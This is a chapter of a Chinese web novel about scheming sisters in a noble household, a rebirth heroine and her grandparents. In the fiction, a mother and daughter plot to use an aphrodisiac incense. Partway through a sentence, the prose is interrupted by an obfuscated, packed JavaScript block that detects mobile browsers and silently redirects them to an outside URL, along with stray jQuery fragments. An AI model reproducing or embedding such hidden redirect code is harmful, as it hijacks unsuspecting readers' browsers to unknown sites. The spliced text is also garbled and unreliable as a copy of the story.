陆明歆同俩姐弟告别后,急匆匆回了明心阁,刚踏进屋中,就见原本好好摆放着的书籍、摆件满地散落,整个明心阁仿佛被谁洗劫过一般,地砖中间还有一摊焦黑的碳,熏得满屋子乌烟瘴气。
苏怜雪见她终于回来,冲她哭喊道:“那个挨千刀的小贱人,她不分青红皂白就来翻你的屋子,若不是我自戕威胁,恐怕真要叫她翻出些什么……”
“娘!”陆明歆先是一懵,继而想起了什么,打断她的话白着脸问,“我的那个奁匣呢?”
那些不能为外人所知的书信,她都锁进了奁匣中,这些秘密若是被旁人发现了,特别是大姐姐,那后果不堪设想!
苏怜雪见她脸色惨白,才上前安抚:“你放心,没被看见,娘在这呢,怎么会叫她们奸计得逞,只是她们来时汹汹,将好些东西一起烧了,娘拦不住,陆玖安实在是欺人太甚!”
陆明歆狠出一口气,汹涌的后怕让她差点软倒:“烧了……烧了也好,即便是没这一出,我也不会留到明日。”
但此事实在蹊跷,陆明歆越想陆玖安今日的态度,便越觉得不对劲。可究竟是哪里不对劲,她也说不上来,只是心底有股声音在告诉她,此事不能再有第二回了。
她不能再给陆玖安欺负她的机会。
“娘,”她挥退了下人,慢慢攥紧手心,“你从前说过,有种香叫做催情香。”
苏怜雪眼睛一亮:“没错,这催情香闻起来就同普通香料一般,可要是一旦点着,不过一刻钟便能让人动情,特别是男子,根本无法控制自己,歆儿,你是想……”
陆明歆想起无辜受罚的嬷嬷,想起无端遭罪的明心阁,下定了决心:“明日的迷香换成催情香,娘,你现在就派人去送一趟,既然大姐姐不仁,我也不必讲义,我也想好好同她相处的,可是她…”说着她眼眶一红。
“可是她实在是太欺负人了!”苏怜雪爱怜地抚上女儿娇美的面容,“歆儿,你没做错,你是对的,是她不顾姐妹情分在先,是她过分了,我们只是反击罢了。”
陆明歆眼中落下两滴泪,她靠在母亲怀中,颤声道:“娘,我也不想的,我真的不想的……”
“娘知道,娘都知道,”苏怜雪嘴角的笑容越发灿烂,“这一切,都是她们的错,都是她们逼的!”
“明歆姐姐!”
哐当一声,紧闭着的门忽然被推开,陆明玉就这么大摇大摆地走进来,跟在她身后的小丫头欲哭无泪:“小姐,夫人,明玉小姐非要进来……”
陆明玉朝她哼一声:“有什么好拦的,我和明歆姐姐这么亲近……呀,这是怎么回事?”
她见到一室的乱七八糟瞪大了眼睛,从前她可是最羡慕陆明歆的明心阁,里面都是陆伯父搜集来的名书名画,多飘逸仙气啊,可如今说是垃圾堆也不为过。
陆明歆连忙从母亲怀中出来,手绢擦了擦眼泪:“明玉,你怎么这时候来了?”
提起伤心事,陆明玉嘴一瘪就开始告状:“明歆姐姐你不知道陆玖安有多嚣张,她方才在静心堂把我爹和五叔当猴训,一点都不给面子,还不让我随你们入宫,明歆姐姐,你这么好,你一定会带我去的吧~”
陆明玉眼睛亮闪闪地看着她,陆明歆不自然地移开视线。都闹到静心堂去了,还没能得来首肯,想必是祖母默认陆玖安这么做的,祖母那边拒绝了,如今来求她,未免太过为难她。还说什么把她爹当猴训,这话太过夸大其词,四叔五叔毕竟是长辈,再怎么样陆玖安也不会不给长辈面子。
陆明歆心中百转千回,面上却叹了一声,答非所问:“今早,大姐姐来过一次明心阁。”
陆明玉百思不得其解,瞥到垃圾堆一样的屋子,才突然瞪大眼睛,不可思议道:“这明心阁,是陆玖安搞的鬼!?”
陆明歆用手帕按了按眼睛,陆明玉十分气愤:“陆玖安怎么能这么过分,她疯了吧,明歆姐,你去和陆伯父说呀!”
陆明歆摇摇头,神色忧伤:“即便说了也无济于事,若是让侯爷侯夫人知道爹替我做主,这事就闹得更大了。明玉,是我没有用……”
陆明玉气得跺脚,唉声叹气安慰她:“明歆姐姐,这不是你的错,这都怪陆玖安,她真的太过分了,不行,我回去一定要和我爹说,我再待在府里,她总有一天会杀了我的!”
陆明玉顾不得什么进宫了,只觉得冷飕飕地害怕,又风风火火地出去了。
见陆明玉终于离去,陆明歆放下擦拭泪水的手,喃喃道:“她说的对,这不是我的错。”
-
静心堂,陆玖安瞧着奶奶精神矍铄的模样,不由眼睛一酸。
上辈子到了三十的年纪,亲人们一个接着一个离开她,唯有奶奶因放不下她,即便病痛缠身也迟迟不肯闭眼。
她送走这么多亲人,最知道那种生离死别的疼,她不敢想奶奶得知她的死讯会是多么的痛苦。奶奶一生所得三子一女,其中两子都英年早逝,好不容易又有了个小女儿,却也在成年之前夭折,好在那时候她诞生了,奶奶有了寄托,她有了亲人,说起来,奶奶其实是将她当做亲女儿养的。
可谁能想到,最后还是要奶奶这个白发人来送她这个黑发人。
“奶奶~”她借着撒娇的劲咽下嘴里的苦涩,一把扑进奶奶的怀抱,“我都十七了,早该长大了。”
上辈子的十七是怎么样的,陆玖安其实不大记得了,但总是天真纯善的,偶尔有些小任性,也会因为一些微不足道的事心里烦闷,如今想起来,真是恍然如梦。但她更喜欢现在的十七岁,因为现在的十七岁有能力保护家人了。
侯夫人本姓为赵,小时候没有自己的名字,都是大丫二丫地叫着,直到出嫁时,才自作主张将名字改成了金玉,自儿子女儿接连去世后,她的心思就全在孙女身上,即便陆玖安掩饰了八九分,她也轻易瞧出不对劲,摸着怀里毛茸茸的脑袋问:“呦,昨日还睡到日上三竿呢,怎么叫都叫不醒,今日倒是稀奇了,一大早就过来,快跟奶奶说实话,是不是遇到什么事了?”
陆玖安继续撒娇:“我能有什么事,还不是想你了。”
赵金玉嘁了声:“奶奶是谁,还不了解你,无事不登三宝殿,你要是闯祸了就直说,趁你爷爷还没回来。”
话音还未落,就听门外传来爽朗的一声笑:“又在说我什么坏话呢?”
来者正是广阳侯陆坚,他瞧着高大威武,但陆玖安知道,年轻时十数年的征战在他身上留下数不胜数的伤疤,好些旧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127405|180119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤就此蛰伏,就等爆发的那一天。
“爷爷,”想起祖父临死前苦不堪言的那几个月,陆玖安赶紧从奶奶怀里钻出来,“我瞧你唇色发白,印堂发黑,恐有旧伤复发的征兆,你赶紧去宫里请个太医来好好看看,调理调理身体吧。”
陆坚摘不甚在意地切了声:“你就胡言乱语吧,你会看个狗屁,我身体好着呢,这满朝武将,能打得过我的有几个?”
陆玖安双手抱胸:“爷爷你就吹吧,我舅舅你就打不过。”
陆玖安的舅舅,正是当今天子亲封的威武侯。
说来也是风水轮流转,二十年前,广阳侯跟着先帝打天下,拼死拼活拿下了个侯爵,一同被封侯的还有二十几个共患难的兄弟,风光无限,将旧臣通通踩在脚下。
然而没过多久,有好几个就接连因各种原因被贬。
广阳侯早早看清了先帝的意欲削弱开国功臣的把戏,替小儿子娶亲时没敢往上求,反倒娶了当时在朝堂上没什么话语权的降将之女。
那时候旁的侯爵都笑他傻,可还没笑多久,先帝就过世了,朝堂动乱,侯爵的数量一削再削,倒是曾经降将的儿子谢靖凭借出色的军事才能脱颖而出,压中了宝,一跃成为新皇身边的红人,从前是侯爵瞧不起他,如今是他瞧不起那些老侯爵。
广阳侯虽说再次逃过一劫,但是苦于后继无人,在下坡路上一去不复返,而谢家人才辈出,陆玖安的舅舅谢靖不必说,是乾元帝手下第一猛将,他的两个儿子谢霖平和谢霖定更是青出于蓝胜于蓝。
但谢家再厉害也没用,陆坚想起谢靖就头疼,他们俩如今表面上是亲家,倒不如说是仇家。当初三儿媳死的蹊跷,明面上虽是产后气血不足竭力而亡,实则是被他那不孝子给气的,谢靖为了玖安没将这事闹大,却一直在暗地里针对他,搞得他苦不堪言。
唉,但终究是自家造下的孽,他只能打落牙齿和血吞。
“去去去,”他对孙女无力地挥了挥袖子,在仆人的伺候下脱去朝服,这才感觉一身轻松,他顿了顿,还是没忍住冲老妻抱怨道,“今日这朝上的,真是一肚子气。皇上这才回京呆了几天,又要去打那群突厥,虽说打赢了是好,但总不能这样两手一摊,真就把京城这些事全交给内阁吧,那一个个老东西,屁也不管,如今这京城,不知道窝着多少只满嘴流油的大老鼠呢。”
“皇上的事,你也敢置喙。”赵金玉白了他一眼。
陆坚下巴一抬:“嘿,我怕啥,再过两年老子就要致仕了,我倒盼着他早点把我遣回家呢,现在给我的什么狗屁官职,一分钱都拨不着不说,还要我做成金蛋,做梦去吧。”
他坐下,见大孙女还在,开始赶人:“这才什么时辰,你在这站着作什么,赶紧回去再补补觉,我和你奶奶要说话呢,等用午膳再过来,要吃什么和厨房去说。”
陆玖安一看他那样就知道没把自己话放心上,跟着他一屁股坐下:“我才不走呢,我也要听你和奶奶说话,怎么你们说的话见不得大孙女面啊。”
“嘿呦,嘴倒是挺利索,”陆坚想了想,也不是什么不可告人的机密,便任由她去了,“行,爱听就听吧,只记得一点,听到的可千万不要出去乱说啊,说了可是要掉脑袋的!”